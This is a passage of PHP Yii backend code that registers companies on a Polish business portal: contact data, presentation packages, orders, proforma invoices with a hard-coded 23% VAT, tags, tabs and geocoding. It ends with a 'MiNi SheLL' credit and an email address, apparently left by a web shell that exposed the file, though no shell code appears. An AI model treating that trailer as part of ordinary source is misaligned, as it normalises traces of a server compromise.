//            $modelCompanyContactData->settings = json_encode(['purposes' => $emailPurposes]);
            $modelCompanyContactData->settings = ['purposes' => $emailPurposes]; //#JSON-hack#
            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
                return false;
            } 
            $order++;
            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
            unset($modelCompanyContactData);
        }
        if(!empty($this->company_mobile_phone)) {
            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
            $modelCompanyContactData->id_company = $idCompany;
            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
            $modelCompanyContactData->data_value = $this->company_mobile_phone;
            $modelCompanyContactData->data_order = $order;
            $modelCompanyContactData->data_type = ContactDataType::MOBILE_PHONE;
            $modelCompanyContactData->required = 0;
            $modelCompanyContactData->settings = '{}';
            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
                return false;
            } 
            $order++;
            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
            unset($modelCompanyContactData);
        }
        if(!empty($this->company_www)) {
            $modelCompanyContactData = new CompaniesContactData(['scenario' => 'create']);
            $modelCompanyContactData->id_company = $idCompany;
            $modelCompanyContactData->data_label = $contactDataTypesLabels[ContactDataType::WWW];
            $modelCompanyContactData->data_value = $this->company_www;
            $modelCompanyContactData->data_order = $order;
            $modelCompanyContactData->data_type = ContactDataType::WWW;
            $modelCompanyContactData->required = 0;
            $modelCompanyContactData->settings = '{}';
            if(!$modelCompanyContactData->validate() || !$modelCompanyContactData->save(false)) {
                return false;
            } 
            $order++;
            $idsCompanyContactData[] = $modelCompanyContactData->id_contact_data;
            unset($modelCompanyContactData);
        }
        
        return $idsCompanyContactData;
    }
    
    protected function createCompanyPresentation($idCompany, $idPortal, $companyPresentationStatus, $idsCompanyContactData)
    {
        $modelService = Services::findOne('COMPANY_PRESENTATION_'.$this->id_package);
        if(empty($modelService)) {
            return false;
        }
        
        $modelCompanyPresentation = new CompaniesPresentations(['scenario' => 'create']);
        $modelCompanyPresentation->id_company = $idCompany;
        $modelCompanyPresentation->id_portal = $idPortal;
        $modelCompanyPresentation->id_package = $this->id_package;
        $modelCompanyPresentation->status = $companyPresentationStatus;
//        $modelCompanyPresentation->settings = json_encode([
//            'visible_contact_data_fields' => ['name', 'short_name', 'street', 'address_cont', 'building_number', 'apartment_number', 'postcode', 'locality', 'region', 'id_country', 'business_registration_number', 'national_court_register_number'],
//            'visible_contact_data_items' => $idsCompanyContactData
//        ]);        
        $modelCompanyPresentation->settings = [
            'visible_contact_data_fields' => ['name', 'short_name', 'street', 'address_cont', 'building_number', 'apartment_number', 'postcode', 'locality', 'region', 'id_country', 'business_registration_number', 'national_court_register_number'],
            'visible_contact_data_items' => $this->id_package !== PresentationsPackages::PACKAGE_STARTER ? $idsCompanyContactData : []
        ]; //#JSON-hack#
        
        foreach(['products_limit', 'banners_limit', 'articles_limit', 'branches_limit', 'mailings_limit', 'advertisements_limit', 'top_position_in_companies_categories_tree', 'top_positions_in_products_categories_tree_limit'] as $field) {
            $modelCompanyPresentation->settings[$field] = $modelService->params[$field];
        }
        
        if(!$modelCompanyPresentation->validate() || !$modelCompanyPresentation->save(false)) {
            return false;
        } 
        
        return $modelCompanyPresentation->id_presentation;
    }
    
    protected function createOrder($modelUser, $modelCompanyInvoicingData, $idPresentation)
    {        
        $modelServiceHasPortal = ServicesHasPortals::find()
                ->with(['service'])
                ->where([
                    'id_service' => 'COMPANY_PRESENTATION_'.$this->id_package,
                    'id_portal' => $this->id_portal
                ])->one();
        if(empty($modelServiceHasPortal)) {
            return false;
        }
        $modelService = $modelServiceHasPortal->service;
        
        $servicePriceNet = !empty($modelServiceHasPortal->price_net) ? $modelServiceHasPortal->price_net : $modelService->price_net;
        
        $idOperator = Portals::find()->select(['id_user'])->where(['id_portal' => $this->id_portal])->limit(1)->scalar();
        if(empty($idOperator)) {
            return false;
        }
        
        $modelOperator = Users::findOne($idOperator);
        
        $modelOrder = new CompaniesOrders(['scenario' => 'create']);
        $modelOrder->id_company = $modelCompanyInvoicingData->id_company;
        $modelOrder->id_user = $idOperator;
        $modelOrder->order_date = date('Y-m-d');
        $modelOrder->purchaser_name = $modelCompanyInvoicingData->name;
        $modelOrder->purchaser_street = $modelCompanyInvoicingData->street;
        $modelOrder->purchaser_address_cont = $modelCompanyInvoicingData->address_cont;
        $modelOrder->purchaser_building_number = $modelCompanyInvoicingData->building_number;
        $modelOrder->purchaser_apartment_number = $modelCompanyInvoicingData->apartment_number;
        $modelOrder->purchaser_postcode = $modelCompanyInvoicingData->postcode;
        $modelOrder->purchaser_locality = $modelCompanyInvoicingData->locality;
        $modelOrder->purchaser_id_country = $modelCompanyInvoicingData->id_country;
        $modelOrder->purchaser_tax_id = $modelCompanyInvoicingData->tax_id;
        $modelOrder->purchaser_forename = $modelUser->forename;
        $modelOrder->purchaser_surname = $modelUser->surname;
        $modelOrder->purchaser_email = $this->email;
        $modelOrder->purchaser_phone = $this->mobile_phone;        
        
        $modelOrder->recipient_forename = $modelOperator->forename;
        $modelOrder->recipient_surname = $modelOperator->surname;        
        $modelOrder->recipient_email = $modelOperator->getContactData()->select('data_value')->where(['required' => 1, 'data_type' => ContactDataType::EMAIL])->limit(1)->scalar();
        $modelOrder->recipient_name = Yii::$app->params['invoicingData']['name'];
        $modelOrder->recipient_street = Yii::$app->params['invoicingData']['street'];
        $modelOrder->recipient_building_number = Yii::$app->params['invoicingData']['buildingNumber'];
        if(!empty(Yii::$app->params['invoicingData']['apartmentNumber'])) {
            $modelOrder->recipient_apartment_number = Yii::$app->params['invoicingData']['apartmentNumber'];
        }
        if(!empty(Yii::$app->params['invoicingData']['addressCont'])) {
            $modelOrder->recipient_address_cont = Yii::$app->params['invoicingData']['addressCont'];
        }
        $modelOrder->recipient_postcode = Yii::$app->params['invoicingData']['postcode'];
        $modelOrder->recipient_locality = Yii::$app->params['invoicingData']['locality'];
        $modelOrder->recipient_id_country = Yii::$app->params['invoicingData']['idCountry'];
        $modelOrder->recipient_tax_id = Yii::$app->params['invoicingData']['taxId'];
        $modelOrder->amount_net_total = $servicePriceNet;
        $modelOrder->amount_net_discount = 0.00;
        $modelOrder->amount_net_to_pay = $servicePriceNet;
        $modelOrder->payment_type = CompanyOrderPaymentType::TRANSFER;
        $modelOrder->payment_term = '7 dni od daty sprzedaży na podstawie faktury proforma';
        $modelOrder->or_proforma_invoice = 1;
        $modelOrder->or_visible_prices_from_pricelist = 1;
        $modelOrder->or_visible_discounts = 0;
        $modelOrder->stamp = CompanyOrderStamp::WITH_SIGNATURE;
        $modelOrder->invoice_group_items_type = InvoiceGroupItemsType::NONE;
        $modelOrder->status = CompanyOrderStatus::A_NEW;
        $modelOrder->template_id_portal = $this->id_portal;
        
        if(!$modelOrder->validate() || !$modelOrder->save(false)) {
            return false;
        }
        
        $modelOrderItem = new \backend\models\OrderItemCompanyPresentation(['scenario' => 'create']);
        $modelOrderItem->id_order = $modelOrder->id_order;
        $modelOrderItem->id_service = $modelService->id_service;
        $modelOrderItem->name = $modelService->name;
        $modelOrderItem->completion_term = '14 dni';
        $modelOrderItem->price_net_in_pricelist = $servicePriceNet;
        $modelOrderItem->price_net = $servicePriceNet;
        $modelOrderItem->status = CompanyOrderItemStatus::FOR_ACCEPTANCE;
        
        $modelOrderItem->portal = Portals::find()->select(['domain'])->where(['id_portal' => $this->id_portal])->limit(1)->scalar();
        $modelOrderItem->publication_period = '1 rok';
        $modelOrderItem->package = PresentationsPackages::find()->select(['name'])->where(['id_package' => $this->id_package])->limit(1)->scalar();
        $modelOrderItem->products_limit = $modelService->params['products_limit'];
        $modelOrderItem->banners_limit = $modelService->params['banners_limit'];
        $modelOrderItem->mailings_limit = $modelService->params['mailings_limit'];
        $modelOrderItem->articles_limit = $modelService->params['articles_limit'];
        $modelOrderItem->branches_limit = $modelService->params['branches_limit'];
        $modelOrderItem->top_position_in_companies_categories_tree = $modelService->params['top_position_in_companies_categories_tree'];
        $modelOrderItem->top_positions_in_products_categories_tree_limit = $modelService->params['top_positions_in_products_categories_tree_limit'];
        $modelOrderItem->tabs = $modelService->params['tabs'];

        $modelOrderItem->publication_start_date = date('Y-m-d');
        $modelOrderItem->publication_end_date = date('Y-m-d', strtotime('+1 years'));
        $modelOrderItem->target_id = $idPresentation;
        
        if(!$modelOrderItem->validate() || !$modelOrderItem->save(false)) {
            return false;
        }
        
        return $modelOrder;
    }
    
    protected function createInvoice($modelCompanyInvoicingData, $modelOrder)
    {
        $modelServiceHasPortal = ServicesHasPortals::find()
                ->with(['service'])
                ->where([
                    'id_service' => 'COMPANY_PRESENTATION_'.$this->id_package,
                    'id_portal' => $this->id_portal
                ])->one();
        if(empty($modelServiceHasPortal)) {
            return false;
        }
        $modelService = $modelServiceHasPortal->service;
        
        $servicePriceNet = !empty($modelServiceHasPortal->price_net) ? $modelServiceHasPortal->price_net : $modelService->price_net;
        
        $modelInvoice = new Invoices(['scenario' => 'createFull']);
        $modelInvoice->id_company = $modelOrder->id_company;
        $nextIdInvoice = Yii::$app->db->createCommand("SELECT nextval(pg_get_serial_sequence('invoices','id_invoice'))")->queryOne();
        if(!empty($nextIdInvoice)) {
            $modelInvoice->id_invoice = intval($nextIdInvoice['nextval']);
            $modelInvoice->proforma_invoice_number = $modelOrder->id_company.'/'.$modelInvoice->id_invoice.'/'.date("Y", strtotime($modelOrder->order_date));
        }   
        $modelInvoice->currency = $modelCompanyInvoicingData->currency;
        $modelInvoice->invoice_type = $modelCompanyInvoicingData->invoice_type;
        $modelInvoice->bank_account_type = $modelCompanyInvoicingData->invoice_type === \common\models\types\InvoiceType::NATIONAL ? \common\models\types\BankAccountType::POLISH : \common\models\types\BankAccountType::EUROPEAN;
        $modelInvoice->sale_date = $modelOrder->order_date;
        $modelInvoice->invoice_date = $modelOrder->order_date;
        $modelInvoice->payment_date = date("Y-m-d", strtotime($modelOrder->order_date.' +7 days'));
        $modelInvoice->payment_type = $modelOrder->payment_type;
        $modelInvoice->amount_net = $modelOrder->amount_net_to_pay;
        $modelInvoice->amount_gross = $modelOrder->amount_net_to_pay * (1 + (23.00 / 100)); //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...
        $modelInvoice->purchaser_name = $modelOrder->purchaser_name;
        $modelInvoice->purchaser_street = $modelOrder->purchaser_street;
        $modelInvoice->purchaser_address_cont = $modelOrder->purchaser_address_cont;
        $modelInvoice->purchaser_building_number = $modelOrder->purchaser_building_number;
        $modelInvoice->purchaser_apartment_number = $modelOrder->purchaser_apartment_number;
        $modelInvoice->purchaser_postcode = $modelOrder->purchaser_postcode;
        $modelInvoice->purchaser_locality = $modelOrder->purchaser_locality;
        $modelInvoice->purchaser_id_country = $modelOrder->purchaser_id_country;
        $modelInvoice->purchaser_tax_id = $modelOrder->purchaser_tax_id;
        $modelInvoice->recipient_name = $modelOrder->recipient_name;
        $modelInvoice->recipient_street = $modelOrder->recipient_street;
        $modelInvoice->recipient_address_cont = $modelOrder->recipient_address_cont;
        $modelInvoice->recipient_building_number = $modelOrder->recipient_building_number;
        $modelInvoice->recipient_apartment_number = $modelOrder->recipient_apartment_number;
        $modelInvoice->recipient_postcode = $modelOrder->recipient_postcode;
        $modelInvoice->recipient_locality = $modelOrder->recipient_locality;
        $modelInvoice->recipient_id_country = $modelOrder->recipient_id_country;
        $modelInvoice->recipient_tax_id = $modelOrder->recipient_tax_id;
        $modelInvoice->status = InvoiceStatus::UNPAID;
        
        if(!$modelInvoice->validate() || !$modelInvoice->save(false)) {
            return false;
        }
        
        $modelInvoiceItem = new InvoicesItems(['scenario' => 'create']);
        $modelInvoiceItem->id_invoice = $modelInvoice->id_invoice;
        $modelInvoiceItem->name = $modelService->name;
        $modelInvoiceItem->id_service = $modelService->id_service;
        $modelInvoiceItem->quantity = 1;
        $modelInvoiceItem->price_net_pricelist = $servicePriceNet;
        $modelInvoiceItem->amount_net_before_discount = $servicePriceNet;
        $modelInvoiceItem->discount_percent = 0.00;
        $modelInvoiceItem->amount_net = $servicePriceNet;
        $modelInvoiceItem->tax_rate = 23.00; //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...
        $modelInvoiceItem->amount_gross = $modelInvoiceItem->amount_net * (1 + ($modelInvoiceItem->tax_rate / 100));

        if(!$modelInvoiceItem->validate() || !$modelInvoiceItem->save(false)) {
            return false;
        }
        
        $modelOrder->id_invoice = $modelInvoice->id_invoice;
        if(!$modelOrder->validate() || !$modelOrder->save(false)) {
            return false;
        }
        
        return true;
    }
    
    protected function createCompanyTags($idCompanyPresentation)
    {
        $modelsPresentationsTags = PresentationsTags::find()->where(['name' => $this->company_tags])->indexBy('name')->all();               
        foreach($this->company_tags as $tag) {
            if(isset($modelsPresentationsTags[$tag])) {
                $modelPresentationsTag = $modelsPresentationsTags[$tag];                                         
                $modelPresentationsTag->quantity += 1;
                if(!$modelPresentationsTag->save(false)) {
                    return false;
                }
            }
            else {
                //dodajemy tag oraz powiązanie
                $modelPresentationsTag = new PresentationsTags(['scenario' => 'create']);
                $modelPresentationsTag->name = $tag;
                $modelPresentationsTag->quantity = 1;
                if(!$modelPresentationsTag->validate() || !$modelPresentationsTag->save(false)) {
                    return false;
                } 
            }  
            $modelCompanyPresentationHasTag = new CompaniesPresentationsHasPresentationsTags();
            $modelCompanyPresentationHasTag->id_presentation = $idCompanyPresentation;
            $modelCompanyPresentationHasTag->id_tag = $modelPresentationsTag->id_tag;
            if(!$modelCompanyPresentationHasTag->validate() || !$modelCompanyPresentationHasTag->save(false)) {
                return false;
            }
        } 
        
        return true;
    }
    
    protected function createCompanyBusinessSectors($idCompany)
    {             
        foreach($this->company_business_sectors as $idSector) {
            $modelCompanyHasBusinessSector = new \common\models\CompaniesHasBusinessSectors();
            $modelCompanyHasBusinessSector->id_company = $idCompany;
            $modelCompanyHasBusinessSector->id_sector = $idSector;
            if(!$modelCompanyHasBusinessSector->validate() || !$modelCompanyHasBusinessSector->save(false)) {
                return false;
            }
        } 
        
        return true;
    }
    
    protected function createCompanyPresentationTabs($idCompanyPresentation)
    {        
        $presentationTabs = PresentationsTabs::find()
                ->select(['presentations_tabs.id_tab', 'presentations_tabs.tab_order'])
                ->join('INNER JOIN', 'portals_has_presentations_tabs', 'portals_has_presentations_tabs.id_tab = presentations_tabs.id_tab')
                ->join('INNER JOIN', 'presentations_packages_has_presentations_tabs', 'presentations_packages_has_presentations_tabs.id_tab = presentations_tabs.id_tab')
                ->where([
                    'portals_has_presentations_tabs.id_portal' => $this->id_portal,
                    'presentations_packages_has_presentations_tabs.id_package' => $this->id_package
                ])
                ->orderBy('presentations_tabs.tab_order')
                ->asArray()
                ->all();

        $orExistAboutCompany = false;
        foreach($presentationTabs as $presentationTab) {
            if($presentationTab['id_tab'] === PresentationsTabs::TAB_ABOUT_COMPANY) {
                $orExistAboutCompany = true;
            }
            
            $modelCompanyPresentationTab = new CompaniesPresentationsTabs(['scenario' => 'create']);
            $modelCompanyPresentationTab->id_presentation = $idCompanyPresentation;
            $modelCompanyPresentationTab->id_tab = $presentationTab['id_tab'];
            $modelCompanyPresentationTab->tab_order = $presentationTab['tab_order'];
            $modelCompanyPresentationTab->status = Status::ACTIVE;
            if(!$modelCompanyPresentationTab->validate() || !$modelCompanyPresentationTab->save(false)) {
                return false;
            } 
        }
        
        if(!$orExistAboutCompany) {
            $modelPresenationTab = PresentationsTabs::findOne(PresentationsTabs::TAB_ABOUT_COMPANY);
            
            $modelCompanyPresentationTab = new CompaniesPresentationsTabs(['scenario' => 'create']);
            $modelCompanyPresentationTab->id_presentation = $idCompanyPresentation;
            $modelCompanyPresentationTab->id_tab = $modelPresenationTab->id_tab;
            $modelCompanyPresentationTab->tab_order = $modelPresenationTab->tab_order;
            $modelCompanyPresentationTab->status = Status::INACTIVE;
            if(!$modelCompanyPresentationTab->validate() || !$modelCompanyPresentationTab->save(false)) {
                return false;
            } 
            
            $modelCompanyPresentationTabPage = new \common\models\CompaniesPresentationsPages(['scenario' => 'create']);
            $modelCompanyPresentationTabPage->id_company_tab = $modelCompanyPresentationTab->id_company_tab;
            $modelCompanyPresentationTabPage->lead = 'Uzupełnij';
            $modelCompanyPresentationTabPage->content = 'Uzupełnij';
            if(!$modelCompanyPresentationTabPage->validate() || !$modelCompanyPresentationTabPage->save(false)) {
                return false;
            } 
        }
        
        return true;
    }
    
    protected function createCompanyPresentationsMirroring($idsRelatedCompanyPresentations)
    {
        if(empty($idsRelatedCompanyPresentations)) {
            return true;
        }
        
        foreach($idsRelatedCompanyPresentations as $idPresentation1) {
            foreach($idsRelatedCompanyPresentations as $idPresentation2) {
                if($idPresentation1 !== $idPresentation2) {
                    $modelCompanyPresentationMirroring = new CompaniesPresentationsMirroring();
                    $modelCompanyPresentationMirroring->id_presentation = $idPresentation1;
                    $modelCompanyPresentationMirroring->id_related_presentation = $idPresentation2;
                    if(!$modelCompanyPresentationMirroring->validate() || !$modelCompanyPresentationMirroring->save(false)) {
                        return false;
                    }
                }
            }
        }
        
        return true;
    }
    
    protected function determineLatAndLng()
    {
        $address = $this->company_street.' '.$this->company_building_number.', '.$this->company_postcode.' '.$this->company_locality.', '.$this->company_region;        
        $googleMapsData = json_decode(file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false'));
        if($googleMapsData->status == 'OK') {
            foreach ($googleMapsData->results as $res) {
                if (isset($res->geometry) && isset($res->geometry->location)) { 
                    if($res->geometry->location->lat != 51.919438 && $res->geometry->location->lng != 19.145136) {                    
                        return [$res->geometry->location->lat, $res->geometry->location->lng];
                    }
                }
            }
        }
        
        $pna = GeoPna::find()->select(['lat', 'lng'])->where(['postcode' => $this->company_postcode])->asArray()->one();
        if($pna !== null) {
            return [$pna['lat'], $pna['lng']];
        }
        
        return [null, null];
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com